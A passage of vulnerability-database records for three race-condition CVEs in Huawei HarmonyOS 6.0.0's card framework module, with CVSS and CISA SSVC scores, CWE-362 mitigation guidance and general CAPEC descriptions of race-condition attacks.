],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:51:33.765Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "6.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the card framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the card framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T01:59:41.923Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinwearables/2026/1/"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68958",
"datePublished": "2026-01-14T01:59:41.923Z",
"dateReserved": "2025-12-27T09:06:51.411Z",
"dateUpdated": "2026-01-14T14:51:33.765Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68957 (GCVE-0-2025-68957)
Vulnerability from cvelistv5 – Published: 2026-01-14 01:58 – Updated: 2026-01-14 14:53
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the card framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
8.4 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:52 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68957",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:52:53.602351Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:53:00.375Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "6.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the card framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the card framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T01:58:05.713Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinwearables/2026/1/"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68957",
"datePublished": "2026-01-14T01:58:05.713Z",
"dateReserved": "2025-12-27T09:06:51.410Z",
"dateUpdated": "2026-01-14T14:53:00.375Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68956 (GCVE-0-2025-68956)
Vulnerability from cvelistv5 – Published: 2026-01-14 01:56 – Updated: 2026-01-14 23:35
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the card framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 23:17 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68956",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T23:17:49.602437Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T23:35:11.781Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "6.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the card framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the card framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T01:56:39.093Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinwearables/2026/1/"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68956",
"datePublished": "2026-01-14T01:56:39.093Z",
"dateReserved": "2025-12-27T09:06:51.410Z",
"dateUpdated": "2026-01-14T23:35:11.781Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Mitigation
Architecture and Design
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Architecture and Design
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
Architecture and Design
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
Implementation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Implementation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Implementation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Implementation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Implementation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Implementation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Architecture and Design
Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.